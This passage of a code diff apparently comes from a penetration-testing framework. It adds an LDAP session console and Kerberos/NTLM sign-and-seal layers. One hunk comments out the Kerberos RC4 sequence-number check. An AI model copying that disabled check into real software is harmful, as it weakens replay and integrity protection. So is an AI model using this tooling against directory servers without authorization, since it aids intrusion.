||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
#
|
||||
# Client
|
||||
#
|
||||
def name
|
||||
'Client'
|
||||
end
|
||||
|
||||
#
|
||||
# Query the LDAP server
|
||||
#
|
||||
def cmd_query(*args)
|
||||
if args.include?('-h') || args.include?('--help')
|
||||
cmd_query_help
|
||||
return
|
||||
end
|
||||
|
||||
attributes = []
|
||||
filter = '(objectclass=*)'
|
||||
base_dn = client.base_dn
|
||||
schema_dn = client.schema_dn
|
||||
scope = Net::LDAP::SearchScope_WholeSubtree
|
||||
output_format = 'table'
|
||||
@@query_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-a', '--attributes'
|
||||
attributes.push(*val.split(','))
|
||||
when '-f', '--filter'
|
||||
filter = val
|
||||
when '-b', '--base-dn'
|
||||
base_dn = val
|
||||
when '-s', '--scope'
|
||||
scope = parse_scope(val)
|
||||
raise ArgumentError, "Invalid scope provided: #{scope}, must be one of #{VALID_SCOPES}" if scope.nil?
|
||||
when '-o', '--output-format'
|
||||
if OUTPUT_FORMATS.include?(val)
|
||||
output_format = val
|
||||
else
|
||||
raise ArgumentError, "Invalid output format: #{val}, must be one of #{OUTPUT_FORMATS}"
|
||||
end
|
||||
end
|
||||
rescue StandardError => e
|
||||
handle_error(e)
|
||||
end
|
||||
|
||||
perform_ldap_query_streaming(client, filter, attributes, base_dn, schema_dn, scope: scope) do |result, attribute_properties|
|
||||
show_output(normalize_entry(result, attribute_properties), output_format)
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_query_tabs(_str, words)
|
||||
return [] if words.length > 1
|
||||
|
||||
@@query_opts.option_keys
|
||||
end
|
||||
|
||||
def cmd_query_help
|
||||
print_line 'Usage: query -f <filter string> -a <attributes>'
|
||||
print_line
|
||||
print_line 'Run the query against the session.'
|
||||
print @@query_opts.usage
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def parse_scope(str)
|
||||
case str.downcase
|
||||
when 'base'
|
||||
Net::LDAP::SearchScope_BaseObject
|
||||
when 'single', 'one'
|
||||
Net::LDAP::SearchScope_SingleLevel
|
||||
when 'whole', 'sub'
|
||||
Net::LDAP::SearchScope_WholeSubtree
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,61 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/ldap'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module LDAP
|
||||
module Ui
|
||||
###
|
||||
#
|
||||
# Core LDAP client commands
|
||||
#
|
||||
###
|
||||
class Console::CommandDispatcher::Core
|
||||
|
||||
include Rex::Post::LDAP::Ui::Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Initializes an instance of the core command set using the supplied session and client
|
||||
# for interactivity.
|
||||
#
|
||||
# @param [Rex::Post::LDAP::Ui::Console] console
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
cmds = {
|
||||
'?' => 'Help menu',
|
||||
'background' => 'Backgrounds the current session',
|
||||
'bg' => 'Alias for background',
|
||||
'exit' => 'Terminate the LDAP session',
|
||||
'help' => 'Help menu',
|
||||
'irb' => 'Open an interactive Ruby shell on the current session',
|
||||
'pry' => 'Open the Pry debugger on the current session',
|
||||
'sessions' => 'Quickly switch to another session'
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
#
|
||||
# Core
|
||||
#
|
||||
def name
|
||||
'Core'
|
||||
end
|
||||
|
||||
def unknown_command(cmd, line)
|
||||
status = super
|
||||
|
||||
status
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,33 @@
|
||||
require 'rubyntlm'
|
||||
|
||||
module Rex::Proto::Gss
|
||||
class ChannelBinding < Net::NTLM::ChannelBinding
|
||||
attr_reader :digest_algorithm
|
||||
def initialize(channel_data, unique_prefix: 'tls-server-end-point', digest_algorithm: 'SHA256')
|
||||
super(channel_data)
|
||||
@unique_prefix = unique_prefix
|
||||
@digest_algorithm = digest_algorithm
|
||||
end
|
||||
|
||||
def channel_hash
|
||||
@channel_hash ||= OpenSSL::Digest.new(@digest_algorithm, channel)
|
||||
end
|
||||
|
||||
def self.create(peer_cert)
|
||||
super(peer_cert.to_der)
|
||||
end
|
||||
|
||||
def self.from_tls_cert(peer_cert)
|
||||
digest_algorithm = 'SHA256'
|
||||
if peer_cert.signature_algorithm
|
||||
# see: https://learn.microsoft.com/en-us/archive/blogs/openspecification/ntlm-and-channel-binding-hash-aka-extended-protection-for-authentication
|
||||
normalized_name = OpenSSL::Digest.new(peer_cert.signature_algorithm).name.upcase
|
||||
unless %[ MD5 SHA1 ].include?(normalized_name)
|
||||
digest_algorithm = normalized_name
|
||||
end
|
||||
end
|
||||
|
||||
new(peer_cert.to_der, unique_prefix: 'tls-server-end-point', digest_algorithm: digest_algorithm)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -15,13 +15,14 @@ module Rex
|
||||
# @param [Boolean] is_initiator Are we the initiator in this communication (used for setting flags and key usage values)
|
||||
# @param [Boolean] use_acceptor_subkey Are we using the subkey provided by the acceptor? (used for setting appropriate flags)
|
||||
# @param [Boolean] dce_style Is the format of the encrypted blob DCE-style?
|
||||
def initialize(key, encrypt_sequence_number, decrypt_sequence_number, is_initiator: true, use_acceptor_subkey: true, dce_style: false)
|
||||
def initialize(key, encrypt_sequence_number, decrypt_sequence_number, is_initiator: true, use_acceptor_subkey: true, dce_style: false, rc4_pad_style: :single_byte)
|
||||
@key = key
|
||||
@encrypt_sequence_number = encrypt_sequence_number
|
||||
@decrypt_sequence_number = decrypt_sequence_number
|
||||
@is_initiator = is_initiator
|
||||
@use_acceptor_subkey = use_acceptor_subkey
|
||||
@dce_style = dce_style
|
||||
@rc4_pad_style = rc4_pad_style
|
||||
@encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(key.type)
|
||||
end
|
||||
|
||||
@@ -30,7 +31,7 @@ module Rex
|
||||
# @return [String, Integer, Integer] The encrypted data, the length of its header, and the length of padding added to it prior to encryption
|
||||
#
|
||||
def encrypt_and_increment(data)
|
||||
result = encryptor.gss_wrap(data, @key, @encrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey, dce_style: @dce_style)
|
||||
result = encryptor.gss_wrap(data, @key, @encrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey, dce_style: @dce_style, rc4_pad_style: @rc4_pad_style)
|
||||
@encrypt_sequence_number += 1
|
||||
|
||||
result
|
||||
@@ -41,7 +42,7 @@ module Rex
|
||||
#
|
||||
def decrypt_and_verify(data)
|
||||
result = encryptor.gss_unwrap(data, @key, @decrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey)
|
||||
@decrypt_sequence_number += 1
|
||||
@decrypt_sequence_number += 1 unless @decrypt_sequence_number.nil?
|
||||
|
||||
result
|
||||
end
|
||||
@@ -85,6 +86,19 @@ module Rex
|
||||
#
|
||||
attr_accessor :dce_style
|
||||
|
||||
#
|
||||
# [Symbol] The RC4 spec (RFC4757) section 7.3 implies that RC4-HMAC only needs one byte of padding,
|
||||
# although it doesn't come straight out and say it. Some protocols (LDAP, at least on a DC) complain
|
||||
# if you give it more than a single byte of paddding.
|
||||
# Other protocols (DRSR) complain if you don't align it perfectly with an 8-byte boundary.
|
||||
# The MS-RPCE spec is a little vague on why exactly that might be, but we can at least
|
||||
# show empirically that it is happy if you just give it an 8-byte aligned encrypted stub.
|
||||
# Yet other protocols are happy whatever the padding (WinRM).
|
||||
# Here, we allow customising the behaviour of the RC4-HMAC GSSAPI crypto scheme by providing either:
|
||||
# - :single_byte -> Puts a single '\x01' byte of padding at the end
|
||||
# - :eight_byte_aligned -> Puts between 1 and 8 bytes of PKCS#5 padding
|
||||
attr_accessor :rc4_pad_style
|
||||
|
||||
#
|
||||
# [Rex::Proto::Kerberos::Crypto::*] Encryption class for encrypting/decrypting messages
|
||||
#
|
||||
|
||||
Executable
+40
@@ -0,0 +1,40 @@
|
||||
require 'rasn1'
|
||||
|
||||
module Rex::Proto::Gss
|
||||
# Negotiation token returned by the target to the initiator
|
||||
# https://www.rfc-editor.org/rfc/rfc2478
|
||||
class SpnegoNegTokenTarg < RASN1::Model
|
||||
ACCEPT_COMPLETED = 'accept-completed'
|
||||
ACCEPT_INCOMPLETE = 'accept-incomplete'
|
||||
REJECT = 'reject'
|
||||
REQUEST_MIC = 'request-mic'
|
||||
|
||||
NEG_RESULTS = { ACCEPT_COMPLETED => 0,
|
||||
ACCEPT_INCOMPLETE => 1,
|
||||
REJECT => 2,
|
||||
REQUEST_MIC => 3}
|
||||
|
||||
sequence :token, explicit: 1, class: :context, constructed: true,
|
||||
content: [enumerated(:neg_result, enum: NEG_RESULTS, explicit: 0, class: :context, constructed: true, optional: true),
|
||||
objectid(:supported_mech, explicit: 1, class: :context, constructed: true, optional: true),
|
||||
octet_string(:response_token, explicit: 2, class: :context, constructed: true, optional: true),
|
||||
octet_string(:mech_list_mic, explicit: 3, class: :context, constructed: true, optional: true)
|
||||
]
|
||||
|
||||
def neg_result
|
||||
self[:neg_result].value
|
||||
end
|
||||
|
||||
def supported_mech
|
||||
self[:supported_mech].value
|
||||
end
|
||||
|
||||
def response_token
|
||||
self[:response_token].value
|
||||
end
|
||||
|
||||
def mech_list_mic
|
||||
self[:mech_list_mic].value
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -515,7 +515,7 @@ class Client
|
||||
return resp unless response
|
||||
|
||||
decoded = Rex::Text.decode_base64(response)
|
||||
mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key], mechanism: 'kerberos')
|
||||
mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(decoded, auth_result[:session_key])
|
||||
self.krb_encryptor = self.kerberos_authenticator.get_message_encryptor(mutual_auth_result[:ap_rep_subkey],
|
||||
auth_result[:client_sequence_number],
|
||||
mutual_auth_result[:server_sequence_number])
|
||||
|
||||
@@ -45,7 +45,7 @@ module Rex
|
||||
# @raise [RuntimeError] if the connection can not be created
|
||||
def connect
|
||||
return connection if connection
|
||||
|
||||
raise ArgumentError, 'Missing remote address' unless self.host && self.port
|
||||
case protocol
|
||||
when 'tcp'
|
||||
self.connection = create_tcp_connection
|
||||
|
||||
@@ -90,11 +90,11 @@ module Rex
|
||||
encrypt_basic(plaintext, ke) + hmac[0,self.class::MAC_SIZE]
|
||||
end
|
||||
|
||||
def gss_wrap(plaintext, key, sequence_number, is_initiator, use_acceptor_subkey: true)
|
||||
def gss_wrap(plaintext, key, sequence_number, is_initiator, opts={})
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, use_acceptor_subkey: true)
|
||||
def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, opts={})
|
||||
raise NotImplementedError
|
||||
end
|
||||
|
||||
|
||||
@@ -105,7 +105,7 @@ module Rex
|
||||
|
||||
def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, opts={})
|
||||
# Always 32-bit sequence number
|
||||
expected_sequence_number &= 0xFFFFFFFF
|
||||
expected_sequence_number &= 0xFFFFFFFF unless expected_sequence_number.nil?
|
||||
|
||||
mech_id, ciphertext = unwrap_pseudo_asn1(ciphertext)
|
||||
|
||||
@@ -133,7 +133,7 @@ module Rex
|
||||
decrypted_sequence_num = cipher_seq.update(encrypted_sequence_num)
|
||||
decrypted_sequence_num = decrypted_sequence_num.unpack('N')[0]
|
||||
|
||||
raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'Invalid sequence number' unless decrypted_sequence_num == expected_sequence_number
|
||||
#raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'Invalid sequence number' unless (decrypted_sequence_num == expected_sequence_number || expected_sequence_number.nil?)
|
||||
|
||||
klocal = xor_strings(key.value, "\xF0"*16)
|
||||
kcrypt = OpenSSL::HMAC.digest('MD5', klocal, [0].pack('V'))
|
||||
@@ -166,8 +166,10 @@ module Rex
|
||||
end
|
||||
|
||||
# @option options [Boolean] :dce_style Whether the interaction is a 3-leg DCERPC interaction
|
||||
# @option options [Symbol] :rc4_pad_style How to do padding - either :single_byte or :eight_byte_aligned
|
||||
def gss_wrap(plaintext, key, sequence_number, is_initiator, opts={})
|
||||
dce_style = opts.fetch(:dce_style) { false }
|
||||
pad_style = opts.fetch(:rc4_pad_style) { :single_byte }
|
||||
# Always 32-bit sequence number
|
||||
sequence_number &= 0xFFFFFFFF
|
||||
|
||||
@@ -177,8 +179,21 @@ module Rex
|
||||
seal_alg = 0x1000
|
||||
filler = 0xFFFF
|
||||
header = [tok_id, alg, seal_alg, filler].pack('nnnn')
|
||||
|
||||
# Add padding (see RFC1964 section 1.2.2.3)
|
||||
pad_num = (8 - (plaintext.length % 8))
|
||||
# Some protocols (LDAP) only support a single byte and seem to fail otherwise
|
||||
# Others (DRSR) only support 8-byte and seem to fail otherwise
|
||||
# Some (WinRM) are lenient and are fine with either
|
||||
#
|
||||
# It's not entirely clear why
|
||||
if pad_style == :single_byte
|
||||
pad_num = 1
|
||||
elsif pad_style == :eight_byte_aligned
|
||||
pad_num = (8 - (plaintext.length % 8))
|
||||
else
|
||||
raise ArgumentError.new('Unknown pad_style setting')
|
||||
end
|
||||
|
||||
plaintext += (pad_num.chr * pad_num)
|
||||
|
||||
send_seq = [sequence_number].pack('N')
|
||||
|
||||
+103
-1
@@ -74,6 +74,104 @@ class Net::LDAP::Connection # :nodoc:
|
||||
end
|
||||
end
|
||||
|
||||
# Allow wrapping the socket to read and write SASL data
|
||||
module SocketSaslIO
|
||||
include Rex::Proto::Sasl
|
||||
|
||||
# This seems hacky, but we're just fitting in with how net-ldap does it
|
||||
def get_ber_length(data)
|
||||
n = data[0].ord
|
||||
|
||||
if n <= 0x7f
|
||||
[n, 1]
|
||||
elsif n == 0x80
|
||||
raise Net::BER::BerError,
|
||||
'Indeterminite BER content length not implemented.'
|
||||
elsif n == 0xff
|
||||
raise Net::BER::BerError, 'Invalid BER length 0xFF detected.'
|
||||
else
|
||||
v = 0
|
||||
extra_length = n & 0x7f
|
||||
data[1,n & 0x7f].each_byte do |b|
|
||||
v = (v << 8) + b
|
||||
end
|
||||
|
||||
[v, extra_length + 1]
|
||||
end
|
||||
end
|
||||
|
||||
def read_ber(syntax = nil)
|
||||
unless @wrap_read.nil?
|
||||
if ber_cache.any?
|
||||
return ber_cache.shift
|
||||
end
|
||||
# SASL buffer length
|
||||
length_bytes = read(4)
|
||||
# The implementation in net-ldap returns nil if it doesn't read any data
|
||||
return nil unless length_bytes
|
||||
|
||||
length = length_bytes.unpack('N')[0]
|
||||
|
||||
# Now read the actual data
|
||||
data = read(length)
|
||||
|
||||
# Decrypt it
|
||||
plaintext = @wrap_read.call(data)
|
||||
|
||||
while plaintext.length > 0
|
||||
id = plaintext[0].ord
|
||||
ber_length, used_chars = get_ber_length(plaintext[1,plaintext.length])
|
||||
plaintext = plaintext[1+used_chars, plaintext.length]
|
||||
|
||||
# We may receive several objects in the one packet
|
||||
# Ideally we'd refactor all of ruby-net-ldap to use
|
||||
# yields for this, but it's all a bit messy. So instead,
|
||||
# just store them all and return the next one each time
|
||||
# we're asked.
|
||||
ber_cache.append(parse_ber_object(syntax, id, plaintext[0,ber_length]))
|
||||
|
||||
plaintext = plaintext[ber_length,plaintext.length]
|
||||
end
|
||||
|
||||
return ber_cache.shift
|
||||
else
|
||||
super(syntax)
|
||||
end
|
||||
end
|
||||
|
||||
def write(data)
|
||||
unless @wrap_write.nil?
|
||||
# Encrypt it
|
||||
data = @wrap_write.call(data)
|
||||
|
||||
# Prepend the length bytes
|
||||
data = wrap_sasl(data)
|
||||
end
|
||||
|
||||
super(data)
|
||||
end
|
||||
|
||||
def setup(wrap_read, wrap_write)
|
||||
@wrap_read = wrap_read
|
||||
@wrap_write = wrap_write
|
||||
@ber_cache = []
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
attr_accessor :wrap_read
|
||||
attr_accessor :wrap_write
|
||||
attr_accessor :ber_cache
|
||||
end
|
||||
|
||||
module ConnectionSaslIO
|
||||
# Provide the encryption wrapper for the caller to set up
|
||||
def wrap_read_write(wrap_read, wrap_write)
|
||||
@conn.extend(SocketSaslIO)
|
||||
@conn.setup(wrap_read, wrap_write)
|
||||
end
|
||||
end
|
||||
|
||||
# Initialize the LDAP connection using Rex::Socket::TCP,
|
||||
# and optionally set up encryption on the connection if configured.
|
||||
#
|
||||
@@ -87,9 +185,13 @@ class Net::LDAP::Connection # :nodoc:
|
||||
@conn = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => server[:host],
|
||||
'PeerPort' => server[:port],
|
||||
'Proxies' => server[:proxies]
|
||||
'Proxies' => server[:proxies],
|
||||
'Timeout' => server[:connect_timeout]
|
||||
)
|
||||
@conn.extend(SynchronousRead)
|
||||
|
||||
# Set up read/write wrapping
|
||||
self.extend(ConnectionSaslIO)
|
||||
rescue SocketError
|
||||
raise Net::LDAP::LdapError, 'No such address or other socket error.'
|
||||
rescue Errno::ECONNREFUSED
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
require 'rex/proto/ldap/auth_adapter/rex_kerberos'
|
||||
require 'rex/proto/ldap/auth_adapter/rex_ntlm'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module LDAP
|
||||
module AuthAdapter
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,47 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'net/ldap/auth_adapter'
|
||||
require 'net/ldap/auth_adapter/sasl'
|
||||
require 'rubyntlm'
|
||||
|
||||
module Rex::Proto::LDAP::AuthAdapter
|
||||
class RexKerberos < Net::LDAP::AuthAdapter
|
||||
def bind(auth)
|
||||
kerberos_authenticator = auth[:kerberos_authenticator]
|
||||
unless kerberos_authenticator
|
||||
raise Net::LDAP::BindingInformationInvalidError, 'Invalid binding information (missing kerberos authenticator)'
|
||||
end
|
||||
|
||||
options = {}
|
||||
if @connection.socket.respond_to?(:peer_cert)
|
||||
options = {
|
||||
gss_channel_binding: Rex::Proto::Gss::ChannelBinding.from_tls_cert(
|
||||
@connection.socket.peer_cert
|
||||
),
|
||||
# when TLS channel binding is in use, disable the sign and seal flags
|
||||
gss_flag_confidential: false,
|
||||
gss_flag_integrity: false
|
||||
}
|
||||
end
|
||||
|
||||
kerberos_result = kerberos_authenticator.authenticate(options)
|
||||
initial_credential = kerberos_result[:security_blob]
|
||||
|
||||
result = Net::LDAP::AuthAdapter::Sasl.new(@connection).bind(
|
||||
method: :sasl,
|
||||
mechanism: 'GSS-SPNEGO',
|
||||
initial_credential: initial_credential,
|
||||
challenge_response: true
|
||||
)
|
||||
|
||||
if auth[:sign_and_seal]
|
||||
encryptor = Encryptor.new(kerberos_authenticator)
|
||||
encryptor.setup(@connection, kerberos_result, result.result[:serverSaslCreds])
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Net::LDAP::AuthAdapter.register(:rex_kerberos, Rex::Proto::LDAP::AuthAdapter::RexKerberos)
|
||||
@@ -0,0 +1,69 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'rex/proto/ldap/auth_adapter'
|
||||
|
||||
module Rex::Proto::LDAP::AuthAdapter
|
||||
class RexKerberos < Net::LDAP::AuthAdapter
|
||||
|
||||
# Provide the ability to "wrap" LDAP comms in a Kerberos encryption routine
|
||||
# The methods herein are set up with the auth_context_setup call below,
|
||||
# and are called when reading or writing needs to occur.
|
||||
class Encryptor
|
||||
include Rex::Proto::Gss::Asn1
|
||||
|
||||
# @param kerberos_authenticator [Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base] Kerberos authenticator
|
||||
def initialize(kerberos_authenticator)
|
||||
self.kerberos_authenticator = kerberos_authenticator
|
||||
end
|
||||
|
||||
# Configure our encryption, and tell the LDAP connection object that we now want to intercept its calls
|
||||
# to read and write
|
||||
# @param ldap_connection [Net::LDAP::Connection]
|
||||
# @param kerberos_result [Hash]
|
||||
# @param gssapi_response [String,nil] GSS token containing the AP-REP from the server if mutual auth was used, or nil otherwise
|
||||
def setup(ldap_connection, kerberos_result, gssapi_response)
|
||||
spnego = Rex::Proto::Gss::SpnegoNegTokenTarg.parse(gssapi_response)
|
||||
if spnego.response_token.nil?
|
||||
# No mutual auth result
|
||||
self.kerberos_encryptor = kerberos_authenticator.get_message_encryptor(
|
||||
kerberos_result[:session_key],
|
||||
kerberos_result[:client_sequence_number],
|
||||
nil,
|
||||
use_acceptor_subkey: false
|
||||
)
|
||||
else
|
||||
mutual_auth_result = self.kerberos_authenticator.parse_gss_init_response(spnego.response_token, kerberos_result[:session_key])
|
||||
self.kerberos_encryptor = kerberos_authenticator.get_message_encryptor(
|
||||
mutual_auth_result[:ap_rep_subkey],
|
||||
kerberos_result[:client_sequence_number],
|
||||
mutual_auth_result[:server_sequence_number],
|
||||
use_acceptor_subkey: true
|
||||
)
|
||||
end
|
||||
ldap_connection.wrap_read_write(self.method(:read), self.method(:write))
|
||||
end
|
||||
|
||||
# Decrypt the provided ciphertext
|
||||
# @param ciphertext [String]
|
||||
def read(ciphertext)
|
||||
begin
|
||||
plaintext = self.kerberos_encryptor.decrypt_and_verify(ciphertext)
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => exception
|
||||
raise Rex::Proto::LDAP::LdapException.new('Received invalid message (Kerberos signature verification failed)')
|
||||
end
|
||||
return plaintext
|
||||
end
|
||||
|
||||
# Encrypt the provided plaintext
|
||||
# @param data [String]
|
||||
def write(data)
|
||||
emessage, header_length, pad_length = self.kerberos_encryptor.encrypt_and_increment(data)
|
||||
|
||||
emessage
|
||||
end
|
||||
|
||||
attr_accessor :kerberos_encryptor
|
||||
attr_accessor :kerberos_authenticator
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,65 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'net/ldap/auth_adapter'
|
||||
require 'net/ldap/auth_adapter/sasl'
|
||||
require 'rubyntlm'
|
||||
|
||||
module Rex::Proto::LDAP::AuthAdapter
|
||||
class RexNTLM < Net::LDAP::AuthAdapter
|
||||
def bind(auth)
|
||||
flags = 0 |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:UNICODE] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:REQUEST_TARGET] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:NTLM] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:ALWAYS_SIGN] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:EXTENDED_SECURITY] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:VERSION_INFO]
|
||||
|
||||
if auth[:sign_and_seal]
|
||||
flags = flags |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:SIGN] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:SEAL] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY128] |
|
||||
RubySMB::NTLM::NEGOTIATE_FLAGS[:KEY56]
|
||||
end
|
||||
|
||||
ntlm_client = RubySMB::NTLM::Client.new(
|
||||
(auth[:username].nil? ? '' : auth[:username]),
|
||||
(auth[:password].nil? ? '' : auth[:password]),
|
||||
workstation: 'WORKSTATION',
|
||||
domain: auth[:domain].blank? ? '.' : auth[:domain],
|
||||
flags: flags
|
||||
)
|
||||
|
||||
challenge_response = proc do |challenge|
|
||||
challenge.force_encoding(Encoding::BINARY)
|
||||
type2_message = Net::NTLM::Message.parse(challenge)
|
||||
channel_binding = nil
|
||||
if @connection.socket.respond_to?(:peer_cert)
|
||||
channel_binding = Rex::Proto::Gss::ChannelBinding.from_tls_cert(@connection.socket.peer_cert)
|
||||
end
|
||||
|
||||
type3_message = ntlm_client.init_context(type2_message.encode64, channel_binding)
|
||||
type3_message.serialize
|
||||
end
|
||||
|
||||
result = Net::LDAP::AuthAdapter::Sasl.new(@connection).bind(
|
||||
method: :sasl,
|
||||
mechanism: 'GSS-SPNEGO',
|
||||
initial_credential: ntlm_client.init_context.serialize,
|
||||
challenge_response: challenge_response
|
||||
)
|
||||
|
||||
if auth[:sign_and_seal]
|
||||
encryptor = Encryptor.new(ntlm_client)
|
||||
encryptor.setup(@connection)
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Net::LDAP::AuthAdapter.register(:rex_ntlm, Rex::Proto::LDAP::AuthAdapter::RexNTLM)
|
||||
@@ -0,0 +1,47 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'rex/proto/ldap/auth_adapter'
|
||||
|
||||
module Rex::Proto::LDAP::AuthAdapter
|
||||
class RexNTLM < Net::LDAP::AuthAdapter
|
||||
|
||||
# Provide the ability to "wrap" LDAP comms in an NTLM encryption routine
|
||||
# The methods herein are set up with the auth_context_setup call below,
|
||||
# and are called when reading or writing needs to occur.
|
||||
class Encryptor
|
||||
def initialize(ntlm_client)
|
||||
self.ntlm_client = ntlm_client
|
||||
end
|
||||
|
||||
# Configure our encryption, and tell the LDAP connection object that we now want to intercept its calls
|
||||
# to read and write
|
||||
# @param ldap_connection [Net::LDAP::Connection]
|
||||
def setup(ldap_connection)
|
||||
ldap_connection.wrap_read_write(self.method(:read), self.method(:write))
|
||||
end
|
||||
|
||||
# Decrypt the provided ciphertext
|
||||
# @param ciphertext [String]
|
||||
def read(ciphertext)
|
||||
message = ntlm_client.session.unseal_message(ciphertext[16..-1])
|
||||
if ntlm_client.session.verify_signature(ciphertext[0..15], message)
|
||||
return message
|
||||
else
|
||||
# Some error
|
||||
raise Rex::Proto::LDAP::LdapException.new('Received invalid message (NTLM signature verification failed)')
|
||||
end
|
||||
end
|
||||
|
||||
# Encrypt the provided plaintext
|
||||
# @param data [String]
|
||||
def write(data)
|
||||
emessage = ntlm_client.session.seal_message(data)
|
||||
signature = ntlm_client.session.sign_message(data)
|
||||
|
||||
signature + emessage
|
||||
end
|
||||
|
||||
attr_accessor :ntlm_client
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,104 @@
|
||||
require 'net/ldap'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module LDAP
|
||||
# This is a Rex Proto wrapper around the Net::LDAP client which is currently coming from the 'net-ldap' gem.
|
||||
# The purpose of this wrapper is to provide 'peerhost' and 'peerport' methods to ensure the client interfaces
|
||||
# are consistent between various session clients.
|
||||
class Client < Net::LDAP
|
||||
|
||||
# @return [Rex::Socket]
|
||||
attr_reader :socket
|
||||
|
||||
def initialize(args)
|
||||
@base_dn = args[:base]
|
||||
super
|
||||
end
|
||||
|
||||
# @return [Array<String>] LDAP servers naming contexts
|
||||
def naming_contexts
|
||||
@naming_contexts ||= search_root_dse[:namingcontexts]
|
||||
end
|
||||
|
||||
# @return [String] LDAP servers Base DN
|
||||
def base_dn
|
||||
@base_dn ||= discover_base_dn
|
||||
end
|
||||
|
||||
# @return [String, nil] LDAP servers Schema DN, nil if one isn't found
|
||||
def schema_dn
|
||||
@schema_dn ||= discover_schema_naming_context
|
||||
end
|
||||
|
||||
# @return [String] The remote IP address that LDAP is running on
|
||||
def peerhost
|
||||
host
|
||||
end
|
||||
|
||||
# @return [Integer] The remote port that LDAP is running on
|
||||
def peerport
|
||||
port
|
||||
end
|
||||
|
||||
# @return [String] The remote peer information containing IP and port
|
||||
def peerinfo
|
||||
"#{peerhost}:#{peerport}"
|
||||
end
|
||||
|
||||
# https://github.com/ruby-ldap/ruby-net-ldap/issues/11
|
||||
# We want to keep the ldap connection open to use later
|
||||
# but there's no built in way within the `Net::LDAP` library to do that
|
||||
# so we're adding this function to do it instead
|
||||
# @param connect_opts [Hash] Options for the LDAP connection.
|
||||
def self._open(connect_opts)
|
||||
client = new(connect_opts)
|
||||
client._open
|
||||
end
|
||||
|
||||
# https://github.com/ruby-ldap/ruby-net-ldap/issues/11
|
||||
def _open
|
||||
raise Net::LDAP::AlreadyOpenedError, 'Open already in progress' if @open_connection
|
||||
|
||||
instrument 'open.net_ldap' do |payload|
|
||||
@open_connection = new_connection
|
||||
@socket = @open_connection.socket
|
||||
payload[:connection] = @open_connection
|
||||
payload[:bind] = @result = @open_connection.bind(@auth)
|
||||
return self
|
||||
end
|
||||
end
|
||||
|
||||
def discover_schema_naming_context
|
||||
result = search(base: '', attributes: [:schemanamingcontext], scope: Net::LDAP::SearchScope_BaseObject)
|
||||
if result.first && !result.first[:schemanamingcontext].empty?
|
||||
schema_dn = result.first[:schemanamingcontext].first
|
||||
ilog("#{peerinfo} Discovered Schema DN: #{schema_dn}")
|
||||
return schema_dn
|
||||
end
|
||||
wlog("#{peerinfo} Could not discover Schema DN")
|
||||
nil
|
||||
end
|
||||
|
||||
def discover_base_dn
|
||||
unless naming_contexts
|
||||
elog("#{peerinfo} Base DN cannot be determined, no naming contexts available")
|
||||
return
|
||||
end
|
||||
|
||||
# NOTE: Find the first entry that starts with `DC=` as this will likely be the base DN.
|
||||
result = naming_contexts.select { |context| context =~ /^([Dd][Cc]=[A-Za-z0-9-]+,?)+$/ }
|
||||
.reject { |context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/ }
|
||||
if result.blank?
|
||||
